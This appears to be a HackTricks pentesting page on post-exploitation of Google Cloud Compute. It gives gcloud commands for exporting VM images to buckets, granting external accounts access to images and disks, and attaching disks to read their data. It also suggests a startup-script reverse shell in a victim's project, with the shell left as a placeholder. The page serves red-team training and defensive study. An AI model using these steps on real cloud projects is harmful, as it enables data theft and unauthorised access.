Sponsored

GCP - Compute Post Exploitation

Compute

For more information about Compute and VPC (Networking) check:

GCP - Compute Enum

Export & Inspect Images locally

This would allow an attacker to access the data contained inside already existing images or create new images of running VMs and access their data without having access to the running VM.

It's possible to export a VM image to a bucket and then download it and mount it locally with the command:[2]

Export and download VM image 
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Before performing this action, the attacker might need access to the destination storage bucket and permissions to use Cloud Build, which performs the export.[1][2] The invoking account also needs the documented bucket, viewer, IAM, and Cloud Build permissions (or equivalent custom permissions).[1] The Cloud Build and Compute Engine service accounts also need the documented roles. Use the numeric project number in these default service-account addresses; depending on when Cloud Build was first used in the project, the workflow might instead use the default Compute Engine service account, so verify the actual identity:[1]

The Cloud Build SA <project-number>@cloudbuild.gserviceaccount.com needs:[1][2]

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

And the Compute Engine SA <project-number>-compute@developer.gserviceaccount.com needs for an export:[1]

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin
  • roles/storage.admin

Export & Inspect Snapshots & Disks locally

The image export command does not take snapshots or disks directly, but it's possible to transform a snapshot in a disk, a disk in an image and, following the previous section, export that image to inspect it locally.[2][3][4]

Create disk from snapshot and image from disk 
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspect an Image creating a VM

With the goal of accessing the data stored in an image or inside a running VM from where an attacker has created an image, it is possible to grant an external account access to the image by assigning roles/compute.imageUser in the source project:[5]

Grant access to image and create VM 
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
  --member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
  --role='roles/compute.imageUser'

and then create a new VM from it:[6]

Create VM instance from image 
gcloud compute instances create [INSTANCE_NAME] \
  --project=[TARGET_PROJECT_ID] \
  --zone=[ZONE] \
  --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

If you could not give your external account access to the image, you could launch a VM using that image in the victim's project and make the metadata execute a reverse shell to access the image by adding the startup-script metadata key; on images with the Compute Engine guest tools installed, this key runs the script when the instance starts.[6]

Create VM with reverse shell in metadata 
    --metadata startup-script='#! /bin/bash
        echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

With the goal of accessing the data stored in a disk or a snapshot, you could transform the snapshot into a disk, a disk into an image and follow the previous steps.

Or you could grant an external account access over the disk (if the starting point is a snapshot give access over the snapshot or create a disk from it). Project-level roles/compute.storageAdmin covers management of disks, images, and snapshots, while attaching the disk also requires disk-use and instance-attach permissions:[5][7]

Grant access to disk 
gcloud projects add-iam-policy-binding [PROJECT_ID] \
  --member='user:[USER_EMAIL]' \
  --role='roles/compute.storageAdmin'

Attach the disk to an instance:[7]

Attach disk to instance 
gcloud compute instances attach-disk [INSTANCE_NAME] \
  --disk [DISK_NAME] \
  --zone [ZONE]

Mount the disk inside the VM:

  1. SSH into the VM:[9]

    SSH into VM and mount disk 
    gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]

  2. Identify the Disk: Once inside the VM, identify the new disk by listing the persistent-device symlinks; it may appear as /dev/sdb, /dev/sdc, etc.[8]

  3. Format and Mount the Disk (if it's a new or raw disk): Format only a blank/raw disk because formatting destroys existing data; an existing filesystem only needs to be mounted.[8]

    • Create a mount point:

      Create mount point and mount 
      sudo mkdir -p /mnt/disks/[MOUNT_DIR]

    • Mount the disk:

      Mount disk device 
      sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

If you cannot give access to an external project to the snapshot or disk, you might need to perform these actions inside an instance in the same project as the snapshot/disk; the VM and disk must also be in compatible locations for attachment.[7]

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored